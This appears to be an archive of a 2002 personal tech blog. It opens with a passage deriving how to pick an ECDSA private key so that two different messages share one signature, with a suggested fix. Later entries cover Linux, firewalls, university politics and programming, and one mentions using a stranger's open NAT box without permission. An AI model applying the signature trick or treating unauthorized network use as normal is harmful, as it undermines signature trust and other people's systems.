  rl = _x(kG)= = r2=-x( (n-l)kG)= = r (3)
  
  where k - per-message secret of the signature for the purpose of simplicity taken for 1.
  
  The development of formula for k>1 is analogous.
  
  Let we need to select identical signature for messages M1 and M2 ( or rather for their hashes e1 
  and e2). We can calculate such private key d that signatures for these messages will be identical.
  Let k1 = 1, k2 = n-1, then r1 = r2=r_x(G) (3a)
  
  Lets take a closer look at the formula of the signature:
  S: = k'(e+dr)(mod n)
  s1=k1'(e1+dr) mod n (4a,b)
  s2=k2'(e2+dr) mod n (4 a,b)
  
  where
  k1'*k1 mod n = 1; k1' = 1
  k2'*(n-k1) mod n = 1; k2'= n-1
  
  e1 = SHA(M1); e2=SHA(M2)
  
  This implies that s2=s1=s if
  (e1+dr) = = (n-1)*(e2+dr) (mod n) (5)
  2dr = (n-1)(e2+e1) (mod n) (5b)
  
  From here it is easy to find d:
  d = z'(n-1)(e2+e1) mod n (6)
  
  where
  z'*(2r) mod n = = 1 mod n
  
  Thus we get absolutely identical signatures (s, r) for various messages. 
  
  It is not difficult to correct this mistake. It is only necessary to provide for demonstrative 
  generation of d.
  
  For example, random variable Seed0 is chosen.
  Private key d : = SHA-1(Seed0)
  Both values are retained.
  It is impossible to select desirable value d in this scheme.
  Of course, the time of key generation will increase, but it is not critical in the majority of cases.
  
  There is one more option: to send as signature not (s,r) but rather (s, R) where R=kG.
  
  Sincerely yours,
  A.V. Komlin, Russia
  
  Detailed description of ECDSA standard and known attacks at it is given in the book 
  The Elliptic Curve Digital Signature Algorithm (ECDSA)
  Don Johnson (Gerticom Research), Alfred Menezes (University of Waterloo) February 24, 2000.
  The book is available in PDF format at http://rook.unic.ru/pdf/ecdsa.zip.
  
  The mentioned below page contains Java-applet allowing to calculate within several seconds in the 
  interactive mode identical signatures and required keys for any two different messages in five 
  standard NIST curves or in any its own
  
  http://www.venue.ru/sign1en.htm
  
  The applet code us not closed and one can look it through with JAD.
    
    
  ARP Tables
    
  
  A couple of Pd links here and here
  Eight Legged Freaks isn't worth going to see.
  
  
  
  
  In recent kernels an option called arptables popped up. Like iptables and ipv6tables it does pretty much what the name suggests. However, I can't find any userland tools for it and this message suggests there aren't any.
  
  After reading the code it seems resonably easy to do. Unless someone beats me to it, I might give it a shot
  
  DTCP
  
  ... but before I do, I'm going to give libdtcp a crack. DTCP is the protocol used in Coderman's Alpine and is designed for double NATed hosts with loose UDP-NAT rules. Watch this space.
  
  Java-SSH
  
  Since Mozilla is still being clipboard brain-dead I'm typing URLs into vim by hand. This means that I mess up some of them (since I'm too lazy to check) and, sure enough, I messed up the link to JSCH. Atsuhiko Yamanaka was kind enough to mail me and point it out. (now fixed)
  
  
    
    
  Secure Beneath the Watchful Eyes
    
  
  LL2 Announced
  SSH2 in Java [via Wes]
  SQL: Holy fsck! [via Keith]
  
  
  
  
  There's a poster campane in London at the moment, run by London Transport advertising the introduction of more CCTV camera on buses. The slogan is "Secure Beneath the Watchful Eyes" and has a big picture of disembodied eyes watching over a London bus going over Westminster bridge. (I wish I could find someone with a digital camera so I could take a picture of it)
  
  Now, I don't have any figures on how effective CCTV on buses is etc and what the cost is so I can't judge if putting CCTV on buses is a good idea or not. But that poster scares me. Rather than suggesting that the CCTV cameras are there to deter people from doing <insert bad action here> the general sense is that we should feel all warm and fuzzy in our nanny state.
  
  I suppose it's just a poster campane - but still...
  
  Oxford Union Meeting
  
  Well, the contact listed in NTK did finally reply. Unfortunately, it was a little late to organise a weekday trip. However, given the type of people there I'm sure it will be well covered. Bruce Dickinson and Chuck D are no longer appearing, by the way.
  
    
    
  All these events
    
  
  Make Aaron's computer talk! 
  Sample chapter from Transparent Society
  Barlow Rant
  
  
  
  
  TBL pointed out that Neal Stephenson is speaking at Trinity this Thursday. I cannot, unfortunately, make it because of lecture and tutorial commitments. Also, there's a debate at Oxford on the same day (see the bottom of the last entry), but the contact given for that hasn't got back to me, so it doesn't look like I can make that either! To wrap things up, Ross Anderson, Alan Cox and a M$ rep are talking about TCPA in London. Zooko suggested I try to get in for free (it would otherwise be nearly £400) by playing the student/hacker/reporter card. I'm sure I can get a camera and tape recorder to do a good report should they let me in.
  
  Mozilla Again
  
  After a remerging mozilla it now starts up cleanly and has AA fonts - which is nice. Unfortunately, the AA fonts make it pretty slow and the clipboard doesn't work at all (pasting in, or copying from) to some of the links might have typos in them today. Sigh. (oh, and it misses out some scanlines in text too)
  
  
    
    
  Protests at IC
    
  
  The Independent: Molecular Memory
  Spamming using WinPOPUP. What stuns me is that nobody has been doing it upto now, I guess spammers are generally too dumb to hack smbclient.
  Not totally sure where this one came from, but ended up in my bookmarks somehow
  The world's most dangerous server rooms
  Anti-Telemarketing Script. I guess it beats answering the phone as "Emergency Room" (which has been pretty effective the couple of times I've done it)
  
  
  
  
  Imperial has announced a couple of things that have annoyed a few people. Firstly, charging students extra "top-up" fee of upto £15,000 a year and merging with University College The first provoked a student protest [1][2](with good turnout despite it being cold and rainy) and the latter a threat from the lectures to strike.
  
  I think some background is needed here. For a long time, going to university was `free' (not including living and eating etc) because it was paid for by the government. That system was setup when 5% of the school leaving population were expected to attend a university. At the moment that number is more like 50% and a few years ago the (Labour) government started charging £1,100 per year in fees. Nearly all students are deeply in debt by the time they leave uni. Now, it costs the college something like £10,500 per year per student and they get £7,500 per year per student from the government. No wonder that something needs to be done
  
  Now, if you live in the US you are thinking "£15,000 is nothing, look what I pay!", but the UK has never worked like that - we have a much higher level of taxation for one and the protest is largely about the lack of consultation with the Union. I think this text is interesting, as are some of the comments here.
  
  On a selfish note, it's unlikely that I would have to pay these fees as I'll be gone before they come in. Actually, I'll be forced to go before they start charging this.
  
  And onto the second issue, merging with UCL (University College, London). London Uni is (I think) unique in this country that the colleges are more-or-less unis in themselves. At Oxford and Cambridge (who have the best known colleges) a subject is taught by the department and all students of x at the university goto the same department. However, Uni/London colleges have their own departments.
  
  Now, UCL is in deep fiscal trouble and if ICL and UCL merged they would likely split from the university and setup on their own. This could create a terrible mess as they would have to cut some duplicate departments (thus reducing costs etc, which is the point). Now I think that wherever UCL and ICL both have a department of x, ICL's is going to be better. But for political reasons they can't just choose on academic grounds because then UCL gets badly cut, so some ICL departments might get shutdown. Also, ICL students are a little worried about the culture clash. UCL has 18,000 students and ICL less than 10,000 so, in a democratic Union, UCL holds sway.
  
  Cambridge
  
  I went to Cambridge yesterday to meet up with a couple of friends and have a look at some of the colleges in daylight. In short: both Dowling and Trinity are beautiful. Now, Beit Hall at IC is reasonable, but most of IC is pretty ugly. Cambridge is a work of art.
  
  Unfortunately, I couldn't talk to TBL because I had to get back. I guess I'll have to accept his argument on random walks in n-d space until I can understand it. I would liked to have asked how his provable code project is going though.
  
  I also saw this book on quantum computing in the Waterstones there. Maybe a little dense, but might be good. Also there was this book which is the first book I've seen to cover iproute2.
  
  Libraries
  
  One of the best things about being at Uni is that you get access to a good library. I can easily waste hours in IC Central Library. It has the whole of Computers and Typesetting (Knuth) which has re-awakened my desire to rework TeX (this is pretty nuts, but one of my saner ideas). It also has AMOP, which is otherwise impossible to get in this country (expect getting it one off shipped).
  
  Oh, and looking at the catalog it has the Quantum Computing book I mentioned above. My reading list has never been so long, or so cheap!
  
  Hilary Rosen in Oxford
  
  From NTK:
  
  NTK's two spiritual forefathers face off at last, when CHUCK
           "PUBLIC ENEMY" D and BRUCE "IRON MAIDEN" DICKINSON take
  	          opposing sides at next week's "This House Believes That Music
  		           Is Not For Sharing" debate at the Oxford Union (8.30pm, Thu
  			            2002-10-24, Cornmarket St, Oxford, complex admission procedure
  				             which we'll go into later). The event also marks a rare UK
  					              public appearance by HILARY ROSEN of arch anti-P2P villains
  						               THE RECORDING INDUSTRY ASSOCIATION OF AMERICA, and thus a
  							                handy leafleting opportunity for the copy-protection-opposing
  									         CAMPAIGN FOR DIGITAL RIGHTS - plus a chance to get our new
  										          "Corrupt Disc - Inferior Audio" t-shirt at not-available-in-
  											           the-shops knock-down prices. Basically, mail tips@spesh.com
  												            (with the subject line "Fight The Power") for meet-up details
  													             - the Oxford Union is actually a members-only debating society
  														              rather than a proper Union like ULU, but does have a mildly
  															               complicated guest-admission procedure. Or failing that, we'll
  																                just go to the pub and swap mp3 remixes of "Bring The Noise".
  																		http://www.oxford-union.org/mod.php?mod=calendar&op=show_event&event_id=10
  																		       - "I'm Running Free", eh Bruce? Not under Palladium you're not
  																		                http://uk.eurorights.org/issues/cd/button/
  																				        - actual "CD" logo font looks more like Eurostile Heavy to us
  																					         http://www.yaleherald.com/article.php?Article=1153
  																						                             - taking "talk like a pirate" day too far
  																									     http://www.xenoclast.org/free-sklyarov-uk/2002-October/003442.html
  																									                                      - file under "Yo, bum rush the show"
  
  
  I'm hoping to make it there, but it's a bit short notice.
  
    
    
  Mozilla
    
  Will takes me to task for upsetting poor old Mozilla - it does take a lot of bashing, doesn't it? Firstly, it's a beta kdebase which somewhat excuses the failure to compile.
  
  Seems Will gets on really well with Mozilla and suggests that the blank screen is a freetype problem. That it may be, but it means it takes me an extra 20 seconds everytime as I startup mozilla - get a blank screen - swear - kill mozilla - rm -Rf ~/.mozilla - startup mozilla. Even even then it's just not very fast. It has got better - it used to be unusable on IV, now it's just slow. I'm afraid that Konqueror and Opera just run faster here, even if their CSS support is a little dodgy.
  
  (Also, tabbed browsing is only useful for people who have overlapping windows - no such things there)
  
  Build Options
  
  Will also point to this page with lots of weird and wonderful gcc options for building Gentoo (or anything else really). Just remember, you're not allowed to use anything that breaks the ABI, even if you build from stage1 because it still links some binary code in.
  
  Firewalls
  
  Sometimes, even iptables can't do what you want and you have to start coding. So last night I coded up ipt_machide (and libipt_machide for userspace) for my firewall.
  
  Basically, an incoming packet (Ethernet only) matches if its source MAC address is in your ARP table. Now, the source MAC address is very spoofable, so you have to have normal rules under that, but it works very well to hide from scans (of which there are many on the IC halls network). As soon as you try to contact another box, a pending entry is put in your ARP table, the ARP reply matches and everything works fine.
  
  At the moment I have to do a linear search of the ARP table because it's indexed by IP address, not MAC. It might be reverse indexed, but there are no comments at all so it's a little difficult to tell. Also, quite a number of IPs have the MAC address of the NAT box here so I need to check that the source IP address (if there is one) matches the ARP entry too.
  
    
    
  Aaron goes to DCI'm sure ...
    
  
  Aaron goes to DC
  I'm sure I've read lots of interesting stuff that deserves a link here, but my bookmarks are a little fragmented so I don't have any links.
  
  
  Eep. It's been a while since I've updated this (but not as long as Ian). Internet connectivity is pretty much sorted out and I've been using the extra bandwidth to install Gentoo. For those who don't keep up with Linux distrib news, Gentoo is a new, source based distrib.
  
  The current (beta, but soon to be 1.4) release uses GCC 3.2 to compile and, since it builds (almost) everything from source, you are free to set nice compile options (like -march=pentium2 -O3 -pipe etc). GCC 3.2 has some nice new code like the register colouring algorithm, which means that the generated code is pretty slick. So the idea is that Gentoo runs pretty fast and, on the whole, you can notice it. It's not jaw dropping, but it is there.
  
  But, of course, it takes time to compile all that stuff. I gave up on OpenOffice after 24 hours (dual PII 450) and kdebase just fails to build. Gentoo does have something called the "Gentoo Reference Platform" for binary installs, but I don't think it's live yet.
  
  So, lacking kdebase, means that I don't have my, much-loved, konqueror. Not disheartened, I emerge mozilla and mozilla 1.0 builds just fine. Shame about the code. Every time I start it up I need to rm -Rf .mozilla otherwise all I get is a blank window, creating new windows just does nothing, copying and pasting also does naut. I guess the saving grace is that it doesn't crash like my old Debian 0.9 package did. Unfortunately, a usable browser it is not, so with a quick prayer to the Stallman idol in the corner I installed Opera 6.
  
  Damm. I hope I get konq installed soon to save my GNU soul because Opera just works, and works fast, and renders correctly and ... The only niggle I have is the oversized toolbar which is in the free version. The answer that that is, of course, pay for it.
  
  Oh, and the department are getting some Macs so I'll have to play with more non-free software.
    
    
  The USS Clueless gets /.'...
    
  
  The USS Clueless gets /.'ed
  Doc at the Digital Hollywood Conference [via Keith]
  
  
  Well, my bank refused me a debit card, so as much as I like to pay for the Internet connect in my room - I can't because they don't take cash. Thankfully, they allow free access to the department computers and ssh (at least in 3.4) has a nice feature called dynamic port forwarding. Basically, you use pass -D xyz on the command line and port xyz is a SOCKS4 proxy and all connections get forwarded down the ssh tunnel.
  
  I'm not sure that it's working perfectly yet (OpenSSH_3.4p1 Debian 1:3.4p1-2) as sometimes I need the connection will just stall - but Gentoo is installing fine using it. It also means that the people on the same hub as me don't get to see what I'm reading.
  
  However, since everything goes down one connection things aren't quite perfect as a single dropped packet will stall everything, not just the single substream because they're all the same to TCP. However, on a 10Base-TX connection that's not a major issue.
  
  Also, the sysadmins at Imperial seem really nice and I hope to move IV to department server at some point.
  
  <AccordionGuy> XML is to programming as modifying the main deflector [array] is to Star Trek.
  
    
    
  Well, I'm offline again a...
    
  Well, I'm offline again and warwalking doesn't turn up anything useful. I found a nice little NAT box that was helpfully forwarding packets and acting as a web proxy for me. That has now disappeared. I guess they noticed the hole. I would be quite willing to pay for it, but they refuse to take cash and my debit card is still coming through. I hate the fiscal system, but efforts seem to be stalled at the moment.
  
  The most interesting paper I've read in a while is from the Tarzan people. They basically describe an IP level anonymising layer. Even if you think you know more than should be legally allowed about mixnets/DCRs and pipenets it's worth a read. It includes a couple of nice tricks I haven't seen before.
  
  The source code hasn't been released, but Michael Freedman has hinted to me that they are talking to the Cebolla folks about a common codebase.
  
  In the short time that I did have use of that NAT box I managed to apt-get upgrade and install Gentoo. I've now got to go pruning services on my Debian install (Lord alone knows why it decided to install ircd and diald).
  
  Imperial is keeping me pretty busy, though none of the material is really stunning at the moment. I did end up in a second year maths lecture today because of a timetabling fault, however, and it was pretty good. Maybe I should lecture hop 
    
    
  Long (ish) story, but I'm...
    
  Long (ish) story, but I'm back online now at Imperial. Will write more when I have the time.
  
    
    
  Life at Imperial
    
  As I write this I still don't have any connection so god knows when this will by uploaded. There is a 10Base-TX connection in my room, but it doesn't seem that anything is happening on it. I think I need to go someplace and register for them to make it live.
  
  Any access points either at the moment, though I haven't gone warwalking yet. I don't imagine that the Imperial APs will be switched on this early in the term anyway.
  
  The room (shared) is beautifully positioned and big enough to drive a car between the beds, which is a pleasent surprise. I gather from talking to some of the students in other halls that I could have done a lot worse.
  
  More, I guess, when I have more time and more to say. I should find someone with a digital camera to take some photos of this place, but right now I'm off warwalking.
  
    
    
  "Essences, Orcs and Civilization"
    
  
  Uni/CA, San Diego orders a student group to remove links to a website citing the USA Patriot Act.
  An extract from Metamagical Themes by Hofstadter. Metamegical Themes was quite highly recommended to me, I should get round to getting a copy at some point. [via JDarcy]
  How to tell your personality type from your code. [via LtU]
  Ecstasy drug 'may trigger Parkinson's'. It used to be that the hydrogen peroxide would get you, now it seems they have decided that you'll see a dopamine again. If it really caused "severe and long-lasting drop in dopamine levels" you would have thought that someone would have noticed before? Maybe I'm just cynical, but I would like to see the money trail behind this research. (then again, the poor Prof might be the victim of media misreporting as we all know how well technical stories are handled)
  "200 students at Scarsdale dance were drunk". Nothing very interesting, just amusing to see how seriously it's taken in the US given how mild it sounds to me 
  Zen garden secrets revealed
  
  
  
  
  Davin Brin (author of Transparent Society) has a fantastic keynote transcript on his site from the Libertarian Party National Convention (July 2002).
  
  
  This text is really the perfect speech to give to the Libertarians, esp the part about their drugs policy. In fact, I can't pull out a single paragraph that I want to take issue with.
  
  Now all I need is for someone to write a nice, lucid essay on how money is not the territory.
    
    
  Nothing wonderfully excit...
    
  Nothing wonderfully exciting today I'm afraid.
  
  
  Online book: Creating Applications with Mozilla
  Slashdot interview with Janis Ian
  Very introductory introduction to Elliptic Curve Crypto
  Valenti presents Hollywood's side of the technology story [via Wes]
  
   
    
    
  Writers for hire by compa...
    
  Writers for hire by companies and governments. One wonderful quote:"
  
  Will Self said: "I return to the words of Bill Hicks when he said, 'If any artist ever endorses a product then they have completely destroyed their status as an artist.' I don't care if they shit Mona Lisas on cue, they've destroyed their reputations, and advertising for the Government is much more pernicious."
  
  The proceedings of the OLS are up (and have been for a while). A treasure trove of interesting papers contained is contained therein. Highlights (so far) include:
  Lustre: the intergalactic file system
  Cebolla: Pragmatic IP Anonymity
  SE Debian: how to make NSA SE Linux work in a distribution
  Online Resizing with ext2 and ext3
  Advanced Boot Scripts
  BitKeeper for Kernel Developers
  Linux Advanced Routing & Traffic Control
  
  
  I've finished ripping my CD collection and all they don't make 'em like they used to. My older CDs would be quite happy reading at 4 speed. The newer ones (from about 92 onwards) struggle to manage 1.4 speed (there are a couple in between). The older ones seem to by physically thicker too. I guess they cut down on the quality at some point to reduce production costs.
  
  oh, and mirrors of dvdsynth should they become, ah, required.
  dvdsynth-prerelease-2k.zip
  dvdsynth-prerelease-95.zip
  dvdsynth-prerelease-source.zip
  
    
    
  Imperial Looms
    
  
  colorForth. I can't get it running (just a blank screen), but this guy really seems to be pretty cool.
  Stoyan Zhekov's Weblog. I'm on his blogroll so he gets a link. Seems to a Python/Gentoo developer.
  Computational Complexity Web Log.Seems to use some odd HTML escape characters, but looks pretty interesting.
  New type of physical key. For some reason the article goes on about crypto, but the device is simply a unique key. However, I have to wonder how exact the input beam has to be setup to get the right pattern out the other end.
  Nym's new site
  SPARCs using async design (old story referenced by more recent ones here and here).
  The M$ JVM is a security joke.
  
  
  
  
  Preparations for Imperial continue... Since I don't think I can fit both monitors in my room I've switched to using just one to see if I can manage. It's not too bad, I've had to rejig my desktops and I'm switching much more between them but I think I can cope. The main problem so far is that by bookmarks aren't even close to fitting on one screen. Not using multi-head also means that I can have anti-aliased fonts but I think I need to set them up a little first.
  
  I'm also ripping all my CDs at the moment (OGG, of course). For that I've had to buy a new power supply since my old 230W browned out under the load of all 4 SCSI drives, 2 processors and a DVD drive going. This new one is going fine, hell, I might even spin up the 20GB IDE and the 36GB SCSI that I'm not using at the moment.
  
  The move also means that I'm finally buying all the stuff I should have brought before, namely:
  
  New watch, a Timex Expedition with a nice leather strap (look a little like this one). I broke the last one on a bouncy castle 
  A new short-wave radio. At the moment I use that radio in my stereo, but since the CD and tape players are broken it seems a little silly to take the whole thing.
  A 10/100 network card (DLink 530TX, a VIA Rhine based card). A pair of these have been working 24x7 in metis for months now, so I guess they're pretty good.
  300W PSU (see above)
  New headphones
  
  
  T0rn
  
  The author of the T0rn rootkit has been arrested [TheReg, BBC] under the Computer Misuse Act. This is a pretty worrying development because, from the sources, it seems that the only `offence' was writing that rootkit, and isn't even very good. Hell, I could do better than that in a couple of days.
  
  Now, I don't support writing rootkits. I know nothing of the accused author, but most of the people using it wouldn't be suitable to wipe shit off my shoe. However, writing it shouldn't be a criminal offence, for two reasons:
  
  Firstly, where you do want to draw the line for `bad software' and who draws it? Is a rootkit bad ("sure, it's only used by little hax0r twits"), so how about exploit code? or fragrouter?, or nmap? or ping -f or DeCSS or even the Linux kernel? If we let the legal system start drawing lines then you just know that we are going to be trapped under a torrent of clueless idiots. That same kind of clueless idiots who are banning all computer games in Greece (I'm afraid that the court decision that said the law was wrong has been overturned) or calling t0rn a "route kit" (I kid you not, on BBC CEEFAX last night).
  
  Secondly, we have a DMCA like "code is speech" argument where you have to draw another line saying "under this is free speech and above it is an illegal tool". The DeCSS case has already shown the futility of that system. Exactly how detailed a description of a rootkit can I write before it's illegal?
  
  Unfortunately it seems that the clueless lawyers have decided to draw these lines anyway. Again. It's gonna be a damm busy wall.
  
  AaronSw
  
  Our very own, AaronSw was on the World Service last night talking about warchalking (right at the end of Newshour). He has links to an ogg (1.8MB) and MP3 (3.2MB). He may well be on NPR's Weekend Edition on Saturday. Go Aaron!
    
    
  Iraq
    
  
  Some New Scientist article that was in my bookmarks. I guess it seemed interesting at the time
  Physics in crisis
  Childhood obesity at 'epidemic' levels
  Anonymous domain registration (the named site is here)
  
  
  
  
  This isn't a warblog and, as such, I'm not making any value judgements about the whole Iraq situation. However, I can't stop cracking a smile at the wonderful bait-and-switch that Iraq has pulled. Only 6 days ago, Iraq was saying that inspectors would never be let in (wrapped in a lot of anti-US rhetoric). Now, Bush wants a war (not a value judgement) and saw this as a perfect point of conflict that would bring in the rest of the Security Council. That was the bait and Bush/Blair took it completely saying that Iraq wouldn't be attacked if inspectors went in.
  
  Then yesterday, Iraq switched and listening to the US trying to rebuild their case on Radio4 was just delicious.
  
  Coding
  
  When I know what I'm doing I can actually turn out a fair few lines in a day. None of it was anything stunningly deep, but I did about 500 (with some testing and debugging).
  
  Also, I'm going to play about with using weak pointers in this project. Having many interlinked structures (as this code has) can be a real pain when it comes to deleting anything because any dangling pointers left over and pop goes the process.
  
  And this is interesting. To find the highest key in a STL map the second code snippet works and the first prints 0:
  
  printf ("%d\n", (m.end()--)->first);
  
  map<int,int>::iterator i;
  
  i = m.end();
  i--;
  printf ("%d\n", i->first);
  
  Kernel Wish list
  
  Two things consistently bug me about the kernel, if anyone can send me a solution to either of these I would be most grateful:
  
  
  When a process that was listening on a socket dies it can leave connections in the TIME_WAIT state which stops anything from binding to the same port for about a minute. I'm sure there is a very good reason for this on a LAN/WAN scale, but when developing stuff it's a total pain.
  There's no good way to get a consistent time from the kernel. Something like milliseconds since the process started would be great, but most of the clocks the kernel provides either measure the wrong thing (e.g. times(2)) or are affected whenever someone changes the system clock (e.g. gettimeofday(2)). The closest I can get is the ITIMER_REAL timer, but it has a maximum setting of about 240 days on Linux and it could be much less under other kernels.
  
  
  Tao Te Ching
  
  Leaving on a more thoughtful note, here's an interesting quote I found reading through the Tao Te Ching (section 38, Stan Rosenthal's translation)
  
   The man who is truly wise and kind
  
  leaves nothing to be done, 
  
  but he who only acts 
  
  according to his nation's law 
  
  leaves many things undone.
    
    
  coderman pointed out that...
    
  coderman pointed out that I was being an idiot with that map code, it should have been a prefix operator of course.
  
  <coderman> i think c++ makes everyone feel stupid at times.  esp. with the STL you get very subtle effects that make sense in hindsight, but are extremely confusing at first light.
  
  Also, coderman suggested that gethrtime would be a good solution to the time problem. Indeed it would, if only it existed in Linux.
  
    
    
  Ian has a blog!!...
    
  Ian has a blog!!
  
    
    
  OpenSSL
    
  Power cut for about 10 hours today, grumble.
  
  
  Economist on Intellectual property
  Apache SSL worm forming a DDoS network
  Snowdrop: stego program that can insert a watermark into English text and C source code.
  
  
  
  
  Aaron pointed out that IV's TLS/qmail was probably vulnerable to the OpenSSL bug. I could have sworn that Debian released a security advisory for this, but I couldn't find it and, sure enough, metis still had 0.9.6c. There still isn't a DSA for this, but unstable has 0.9.6g (as does metis now). Thanks Aaron.
  
  Malaise
  
  JDarcy:
  
  My little corner of the blogosphere seems to have gotten a lot quieter lately.  Obviously I've been updating less often than I used to, but many others - e.g. Zooko, AccordionGuy, even Wes Felter - seem to have gone through noticeably fallow periods of late.  Whether the result is more or less visible output, everyone seems to be worried about whether they're getting enough (of whatever they want to do) done.
  
  The latest person to catch this apparently-communicable disease is coderman. In his latest article, he laments the slow progress on personal projects, but finds hope in this observation:
  
  I try to keep the posting frequency of IV at a reasonable level, but I do find that I'm not really reading or doing anything wonderfully worthwhile at the moment. In fact all this year I haven't really been coding anything significant. Mostly because I don't have any projects.
  
  People say stuff gets done when programmers have an itch, and it's pretty much true. When I know what I'm doing I code like mad, but I find gumption traps all too common, mainly when something isn't quite right. (I have an unfortunate perfectionist streak). Lately all the itches have been far too big (I've bitched about this before) and I don't feel up to fighting them.
  
  I sometimes think that I should work on Whiterose again since Oskar says that protocol is quite stable now. But then I look at the protocol doc and give up again.
  
  Maybe things will change at Imperial.
  
  (oh, Coderman is being told to spend more time with his wife via her blog )
    
    
  HashCash
    
  
  StateWatch analysis of EU liberties
  Blunkett attacks "civil liberties lobby"
  Dan Bricklin on CD sales
  Metaprogramming in Pliant
  
  
  
  
  HashCash isn't a new idea, but it's being talked about again, which is a shame really because I haven't come across a single application where hashcash would work well. Adam Back lists a few at the end of the aforelinked paper, including flood limiting in Freenet. Ignoring the practical problems of integrating hashcash, the major problem is that it scales linearly. If I want to do 1 action, I pay x. If I want to do 5 actions I only pay 5x. There is no way to tell different requesting parties apart, so this is fundamental.
  
  Remember that computers from 5 years ago are going to be about 10 times slower than today's, and you hardly want to cut them off. So you either set the cost far too high, or spammers aren't going to notice it because buying a cheap cluster to calculate hashes isn't really going to bother them. (or even just write a virus/worm to make all the poor Windows users do it for you).
  
  And even in systems where he suggests that hashcash only kick in in a DoS situation (e.g. connection flooding) it doesn't provide "more graceful service" degradation as he claims. It simply moves the bottleneck from the CPU/network to the client, and the fastest client gets served first. (Which would be ok if all the attackers were much slower, but they aren't).
  
  An interesting development would be a computer generatable (my spell checker doesn't like that, but I think it's ok) challenge that only humans could solve. Possibly rendering some text and then messing it up would require a human to solve. That might still be impractical, and spammers could simply hire a sweatshop to solve them all day, but it would be interesting.
  
  That lawyer
  
  Oh, and on the spamming front; that lawyer who got blacklisted wrote back:
  
  When it comes to mail administration, it appears I was
    several years behind the curve. Since my mail server
      software, circa 1996, had been purring along quietly
        without problems since it was new, I had never upgraded
          it to a version capable of a higher degree of authentication.
  	  I'm also old enough to remember when an "open relay" was
  	    a relay intentionally left open for anyone to use, not
  	      one merely susceptible to misuse. Thanks to all of the
  	        readers who wrote to bring me into the new millennium.
  		  Both my software and my definition are now upgraded.
  At the same time, I labelled the blackhole list operators
    "vigilantes" for good reason. It was always my understanding
    that if you lie about your identity to gain access to
      something that would be closed to you if you told the truth,
        you've done something wrong. That's true whether you intend
          to send spam or prevent it. As vile as spam is, the ends
  	  don't justify the means. Regardless of whether my mail
  	    server used to be "open" or not, I stand by the legal
  	      analysis that placed fault on the blackhole operators who
  	        forged their identity.
    
    
  The wonders of editing
    
  I'm still not sure if this is a spoof or not. If it is, it's a very good one. Quick summary: US lawyer (IP lawyer, naturally) finds his mail server is listed as an open relay, denies that it is one (while giving enough of the story to show that it is) and immediately talks of legal action against the anti-spam group without a thought to fixing the mail server. A good laugh, spoof or (tragically) not.
  
  
  
  Via JWZ:
  
  Senator Clinton was booed when she walked on stage last October at a rock concert in Madison Square Garden to benefit 9/11 victims. It was shown live by VH1 but, as ABC's John Stossel illustrated in a July 20/20 special on media distortions, when the Viacom-owned cable channel replayed it sound technicians replaced the booing with cheering and applause. And that version is the permanent record VH1 put onto its DVD of the event.
  
  source
  
  RedHat 7.3 Install
  
  (all of the following section is tounge-in-cheek )
  
  Installed RH7.3 on a spare drive last night (long story involving odd hardware and a friend needing it) and I'm shocked how easy the install was. Gosh darn it! I can still remember when installing Linux was no mean feat and I'm so young that my first Linux distrib (Slackware) had a 2.0.0 kernel.
  
  In those days an install was a maze of quirks and hardware problems
  littered with dire warnings about how X would fry your monitor if you got the
  frequencies wrong. Heck, you were damm lucky if today's kernel managed to
  exec /bin/sh. In those days spirits were brave, the stakes were high, men
  were real men, women were real women, and small furry creatures from Alpha
  Centauri were real small furry creatures from Alpha Centauri.
  
  The damm RH install was graphical (even has a graphical GRUB menu) and picked up all my weird hardware first time and even got X going with DRI. The only thing it didn't detect is that I have 2 monitors. No wonder there are so many Linux lusers on /. if the install is this easy!
  
    
    
  Proof systems
    
  
  The second part of the geometric algebra series
  Perspectives Project. Maybe these people will end up with a Landscape editor.
  Self Censorship
  
  
  
  
  There is a proof system for O'Caml called Coq. I keep running off to theme parks and things so I haven't had a chance to read it yet.
  
  Some languages are "safe" in the sense that you cannot dereference NULL pointers etc. Typed languages ensure that arguments to functions cannot be of the wrong type etc. Proven languages can ensure (incomplete list):
  
  The program won't segfault...
  ... or buffer overflow...
  ... loop forever ...
  ... or even call API's badly
  
  
  In fact you could even give everyone root permissions, but require that programs prove that they aren't doing anything wrong.
  
  This type of thing is obviously very usefully generally but, as has been pointed out many times, we could even get rid of operating systems because no program would do anything nasty (and we could prove this). In a single-level store design having all the programs in a single address space could be a big performance boost.
  
    
    
  Mersenne Primes and Perfect Numbers
    
  
  A good argument against Dave Winer's position on software copyright
  KCachegrind, a KDE frontend for the superb Valgrind
  Suggested answering machine greetings
  HP fires Bruce Perens for being nasty to Microsoft
   
  Indroduction to Geometric Algebra
  
  
  
  
  Mersenne (named after a french monk) primes are of the form 2n-1 where n is an integer, greater then 0. There is a distributed.net like effort to find them called GIMPS (search Google).
  
  A perfect number is a number where the sum of its divisors (excluding itself, but including 1) equals that number. For example 6 is perfect because (1 + 2 + 3) = 6. Thus the sum of all the divisors is twice the number.
  
  Now, I read a while back in a book that (2n-1)(2n-1) was proven to be a perfect number, but the book didn't have the proof. Thankfully, I ran across the proof today. That proof leaves out a number of steps thou, so here's a better one:
  
  
  p = 2n - 1, and is prime
  m = (2n-1)p
  sigma(x) is the sum of all the positive divisors of x
  sigma(a*b) = sigma(a)*sigma(b) where gcd (a, b) = 1 (think about it)
  sigma(m) = sigma (2n-1p)
   = sigma(2n-1) * sigma (p)
  Now, p was defined to be prime, thus its only divisors are 1 and itself, thus the sum of those divisors must be p + 1
  Also, by thinking of the prime factorisation of 2a, the divisors of 2a must include all lesser powers of 2 (where the power is greater then, or equal to, 0). By still considering the prime factorisation there can be no other divisors. Thus sigma (2n-1) must be 2n-1. It might help to think of the numbers in binary form to see this.
  thus sigma(m) = (2n-1)(p+1)
  expanding this gives 2n(2n-1) which is equal to 2m.
  Thus the sum of all the divisors of m is 2m. Thus m is perfect.
  
  
  One from The Book
    
    
  O'Caml
    
  After a brief holiday, The Memory Hole is ticking again.
  
  
  "58% disagree with the statement that the government can be trusted to keep their personal data secure"
  EETimes: Engineer writes open-source register generation tool
  Zoë, an email interwingle client. (from the Ted Nelson/JWZ school of thought)
  Online Prolog tutorial
  IndyMedia's new publishing system
  Fragments of Foundations of Cryptography [thanks to TBL]
  
  
  
  
  People keep talking about it and it's high time that I looked into it. O'Caml is an ML based language and has all the standard ML language stuff (curried functions etc). It uses inferred typing, which is very useful, despite the few drawbacks (more on that later).
  
  It also has polymorphic typing:
  
  # let f = function (a, b) -> a;;
  val f : 'a * 'b -> 'a = <fun>
  
  That function takes a 2-tuple of any type and returns the first element and polymorphically works within the type-system.
  
